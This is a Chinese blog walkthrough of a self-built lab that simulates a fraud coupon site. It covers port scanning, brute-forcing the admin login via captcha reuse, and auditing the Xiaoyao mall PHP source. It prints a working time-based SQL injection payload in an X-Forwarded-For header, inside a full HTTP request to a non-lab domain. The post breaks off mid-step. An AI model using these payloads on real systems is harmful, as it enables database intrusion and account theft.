外网打点到渗透内网域控


外网打点到内网渗透 NASA项目

环境说明

模拟渗透测试电信诈骗网站,境外人员依赖该网站通过优惠卷诱导受害者进行消费,诈骗受害人金钱

linux windows 同存于内网,提供一个公网的web入口点,安全人员对网站/服务器进行综合的渗透测试,最终夺取各个服务器的权限。

靶场拓补

image-20220531100550047

优惠卷网站搭建在ubantu上,在ubantu上访问本地80端口即可访问该网站。

image-20220531100717396

购买vps外网服务器,使用frp将客户端ubantu上的本地80端口映射到vps服务器80端口,这样就简单的模拟了实战环境,靶机处于内网,提供了一个公网web入口点。

vps服务器windows,上传frp_windows_amd到服务器

服务端

frps.ini

[common] 
bind_port = 7788 
token=zzzzmoon199

执行

frps.exe -c ./frps.ini

image-20220601161413516

ubuntu,上传frp_linux_amd到客户端

frpc.ini

[common] 
server_addr = vps-ip 
server_port = 7788 
token = zzzzmoon199 
[web] 
type = tcp 
local_ip = 127.0.0.1 
local_port = 80 
remote_port = 80

执行,如果没有权限需要赋予权限

./frpc -c ./frpc.ini

这里如果客户端执行返回连接拒绝,我们需要在防火墙配置规则

image-20220601162851386

之后我们访问公网的ip即可访问ubuntu的网站

image-20220601163450060

外网打点

端口扫描

首先对ip进行端口扫描,获取目标开放的端口,大致了解服务器开放的端口,在使用nmap对端口进行探测。

使用masscan扫描全部端口

sudo masscan -p 1-65535 101.42.173.68 --rate=100

image-20220601170517560

使用nmap对开放端口进行探测

nmap -sV -A -p 80,7788,3389, -oN all-port.txt 101.42.173.68
# Nmap 7.92 scan initiated Wed Jun  1 05:12:02 2022 as: nmap -sV -A -p 80,7788,3389, -oN all-port.txt 101.42.173.68
Nmap scan report for 101.42.173.68
Host is up (0.0056s latency).

PORT     STATE SERVICE            VERSION
80/tcp   open  http               Apache httpd 2.4.10 ((Debian))
|_http-title: \xE4\xBC\x98\xE6\x83\xA0\xE5\x88\xB8\xE5\x95\x86\xE5\x9F\x8E
|_http-server-header: Apache/2.4.10 (Debian)
| http-robots.txt: 9 disallowed entries 
| /data /hook /public /module /template /admin /config.php 
|_/common.php /order/list
3389/tcp open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=10_0_16_16
| Not valid before: 2022-05-30T09:34:46
|_Not valid after:  2022-11-29T09:34:46
| rdp-ntlm-info: 
|   Target_Name: 10_0_16_16
|   NetBIOS_Domain_Name: 10_0_16_16
|   NetBIOS_Computer_Name: 10_0_16_16
|   DNS_Domain_Name: 10_0_16_16
|   DNS_Computer_Name: 10_0_16_16
|   Product_Version: 6.3.9600
|_  System_Time: 2022-06-01T09:13:13+00:00
|_ssl-date: 2022-06-01T09:13:17+00:00; +3s from scanner time.
7788/tcp open  ssl/unknown
| ssl-cert: Subject: 
| Not valid before: 1-01-01T00:00:00
|_Not valid after:  1-01-01T00:00:00
|_ssl-date: TLS randomness does not represent time

Host script results:
|_clock-skew: mean: 2s, deviation: 0s, median: 1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun  1 05:13:14 2022 -- 1 IP address (1 host up) scanned in 72.02 seconds

通过以上扫描,我们对这个服务器开放的端口和端口开发的信息有了大致的了解。

似乎没有什么利用点。

我们查看网站的robots.txt文件,可看到定义了一些搜索引擎禁止收录的网页,我看都看看有没有什么可利用的,每个都看看,都点一点。

image-20220601172106144

在/admin里发现了后台登录

后台地址
http://101.42.173.68/admin/webadmin.php?mod=do&act=login

我们顺手把前台的一些信息写下来

前台登录
http://101.42.173.68/user.php?mod=do&act=login&fromto=http%3A%2F%2F101.42.173.68%2F
前台注册
http://101.42.173.68/user.php?mod=do&act=register&fromto=http%3A%2F%2F101.42.173.68%2Fuser.php%3Fmod%3Ddo%26act%3Dlogin
忘记密码
http://101.42.173.68/user.php?mod=do&act=getpw
用户中心
http://101.42.173.68/user.php

顺手在注册界面注册一个账号,用户名treadstone 密码123456 手机11111111111 邮箱 abc@123.com

我们在检查里面查看js文件,发现这是用逍遥商城建的站,这样的话我们就可以在网上找找这类网站的洞的文章

image-20220609155613873

这么多文章,足够我们参考了

image-20220609155723091

后台安全测试

之前我们了解此网站发现了后台地址,测试后台地址

image-20220609160330082

我们发现我们输入账号密码尝试登录后台时,提示账号或密码错误,但是我们发现验证码并没有刷新,一直是这个值

所以这里后台地址存在验证码重用漏洞

burpsuit穷举后台

此网站后台存在验证码重用漏洞,所以我们可以利用burp对账号密码进行穷举

这里可以用这个网站,社工生成字典

https://api.xiaobaibk.com/lab/guess/

这里我们知道此项目名为nasa,我们输入姓名nasa生成字典来爆破

image-20220609161226142

用户名我们就用admin,密码我们使用生成的字典,能看到我们找到了正确的账号密码

image-20220609161936450

代码审计

我们通过社工字典爆破出了密码,但是实际上这种方式如果用户使用高强度密码,我们基本不会成功。所以我们重点还是漏洞挖掘这方面,之前我们知道这是个逍遥商城,我们可以下载下来源码本地搭建,进行代码审计找出漏洞。

打开phpstudy,开启apache、mysql,创建网站

image-20220609172343124

将网站源码复制进根目录,全部替换,记得修改config.php的mysql密码

并且导入数据库

image-20220609172630872

可以看到搭建成功了

image-20220609172732650

可以使用phpstorm创建项目

image-20220609173047621

可一这样观看网站代码

image-20220609173300138

找回密码存在sql注入

public\function\global.func.php

//获取ip
function pe_ip()
{
    if (isset($_SERVER)){
        if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])){
            $realip = $_SERVER["HTTP_X_FORWARDED_FOR"];
        } else if (isset($_SERVER["HTTP_CLIENT_IP"])) {
            $realip = $_SERVER["HTTP_CLIENT_IP"];
        } else {
            $realip = $_SERVER["REMOTE_ADDR"];
        }
    } else {
        if (getenv("HTTP_X_FORWARDED_FOR")){
            $realip = getenv("HTTP_X_FORWARDED_FOR");
        } else if (getenv("HTTP_CLIENT_IP")) {
            $realip = getenv("HTTP_CLIENT_IP");
        } else {
            $realip = getenv("REMOTE_ADDR");
        }
    }
    $ip_arr = explode(',', $realip);
    return $ip_arr[0];
}

按住ctrl,鼠标单击pe_ip即可查看调用

image-20220610150458827

获取ip,多处调用,但是大多数都被程序里的gpc函数过滤掉了,找到一处没做处理的。

hook\yzmlog.hook.php

function add_yzmlog($user, $yzm) {
	global $db;
	$sql_set['yzmlog_user'] = $user;
	$sql_set['yzmlog_value'] = $yzm;
	$sql_set['yzmlog_atime'] = time();
	$sql_set['yzmlog_adate'] = date('Y-m-d');
	$sql_set['yzmlog_ip'] = pe_ip();
	if ($db->pe_insert("yzmlog", $sql_set)) {
		return true;
	}
	else {
		return false;
	}
}

$sql_set[‘yzmlog_ip’] = pe_ip();直接插入表没有做过滤。我们查看下那里调用了add_yzmlog这个函数。

hook\yzmlog.hook.php

function send_yzm($type, $user, $apitype = 'juhe') {
	global $db, $cache_setting;
	pe_lead('hook/qunfa.hook.php');
	$user = pe_dbhold($user);
	$yzm = rand(100000,999999);
	//$linshi_pw = substr(md5($pe['host_root'].$email.rand(1,9999).time()), 5, 6);
	if ($type == 'email') {
		$email['qunfa_name'] = "尊敬的{$user}用户,请查收您的验证码";	
		$email['qunfa_text'] = "尊敬的用户,您的邮箱验证码为:{$yzm},验证码有效期为30分钟!请尽快验证,谢谢!";			
		$result = qunfa_email($user, $email);
	}
	else {
		//一分钟内最多发送3次
		$nowtime = time() - 60;
		$yzmnum = $db->pe_num("yzmlog", " and `yzmlog_user` = '{$user}' and `yzmlog_atime` >= '{$nowtime}'");
		if ($yzmnum >= 3) {
			return array('result'=>false, 'show'=>'您发送的太频繁了,请稍后再试');
		}
		//一天内未验证次数超过5次的手机号就不让再发送了
		$yzmnum = $db->pe_num("yzmlog", " and `yzmlog_user` = '{$user}' and `yzmlog_state` = 0 and `yzmlog_adate` >= '".date('Y-m-d')."'");
		if ($yzmnum >= 5) {
			return array('result'=>false, 'show'=>'您今日发送太多了,请明日再试');
		}
		//一天内未验证次数超过10次的ip就不让再发送了
		$yzmnum = $db->pe_num("yzmlog", " and `yzmlog_ip` = '".pe_ip()."' and `yzmlog_state` = 0 and `yzmlog_adate` >= '".date('Y-m-d')."'");
		if ($yzmnum >= 10) {
			return array('result'=>false, 'show'=>'您今日发送太多了,请明日再试');
		}
		$result = qunfa_sms($user, "【{$cache_setting['sms_sign']}】尊敬的用户,您的验证码为:{$yzm}。如非本人操作,请忽略本短信");
	}
	if ($result['result']) add_yzmlog($user, $yzm);
	return $result;
}

可看到在result不为空时,调用add_yzmlog这个函数

触发漏洞流程:网站找回密码出->输入账号验证码->触发sql注入。

image-20220610152515498

我们在利用的时候,发现目标没有开启邮箱发信,所以利用失败了。我们在本地让result这个值为1,测试下sql注入是否存在

添加$result[‘result’]=1;

image-20220610154440103

注册个账号,开启burp代理,输入注册手机号/邮箱,点击获取验证码,burp抓到包

image-20220610154520962

构造payload,这里使用xff注入,sleep函数测试

X-Forwarded-For: 111'AND (SELECT 1128 FROM (SELECT(select(sleep(4))))abc)-- aaaaa
GET /index.php?mod=check&act=send_yzm&type=getpw&value=11111111111 HTTP/1.1
Host: quan.jnwsf.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Forwarded-For: 111'AND (SELECT 1128 FROM (SELECT(select(sleep(4))))abc)-- aaaaa
Connection: close
Referer: http://quan.jnwsf.com/user.php?mod=do&act=getpw
Cookie: PHPSESSID=lbs37cgrqinrkkmqt1jnsggcg1

我们发送到repreter之后,点击send会发现出现明显延迟,所以这里sql注入是存在的,只是对方没有配置邮箱发信,无法利用。

手机端sql注入

module\mobile_user\back.php

$menumark = 'lxb';
$cook_uid = $_SESSION['user_id'];
switch ($act) {
        case 'list':
        default:
            
        $order_list = $db2->getAll('select * from xy_order where user_id='.$cook_uid.' and (  order_state = "whuishou" or  order_state = "endhuishou" ) order by id desc  ');
         $goods = array();
         $i=0;
        foreach( $order_list as $k => &$v )
        { 
            $products = $db2->getAll( 'select * from xy_orderdata where order_id='.$v['order_id'] );
         
            foreach( $products as $pk => &$vs )
            {
               
                $goods[$i] = $db2->getOne( 'select product_name from xy_product where product_id= '.$vs['product_id'] );
                 $i++;
            }
            
            $v['product_name'] = implode(',', $goods );
            $v['product_logo'] = $vs['product_logo'];
        }
        
        $menutitle = '我的回收';
		$seo = pe_seo($menutitle);
		include(pe_tpl('huishou_list.html'));
    	break;
    	 
    	case 'dohuishou':
    	 
    	$order_id = trim( $_REQUEST['order_id'] );
     
    	$order = $db2->getRow('select * from xy_order where order_id="'.$order_id.'"');

在act的case为dohuishou时,$order_id = trim( $_REQUEST[‘order_id’] );

没有做过滤,可能存在sql注入

触发漏洞流程:firefox添加User-Agent Switcher 插件,选择移动端,刷新页面

image-20220610163111412

注册并登录->点击我的->点击回收状态

http://101.42.173.68/user.php?mod=back&act=list

之前审计发现,需要让act=dohuishou,我们


文章作者: 晓莎K
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 晓莎K !
评论
  目录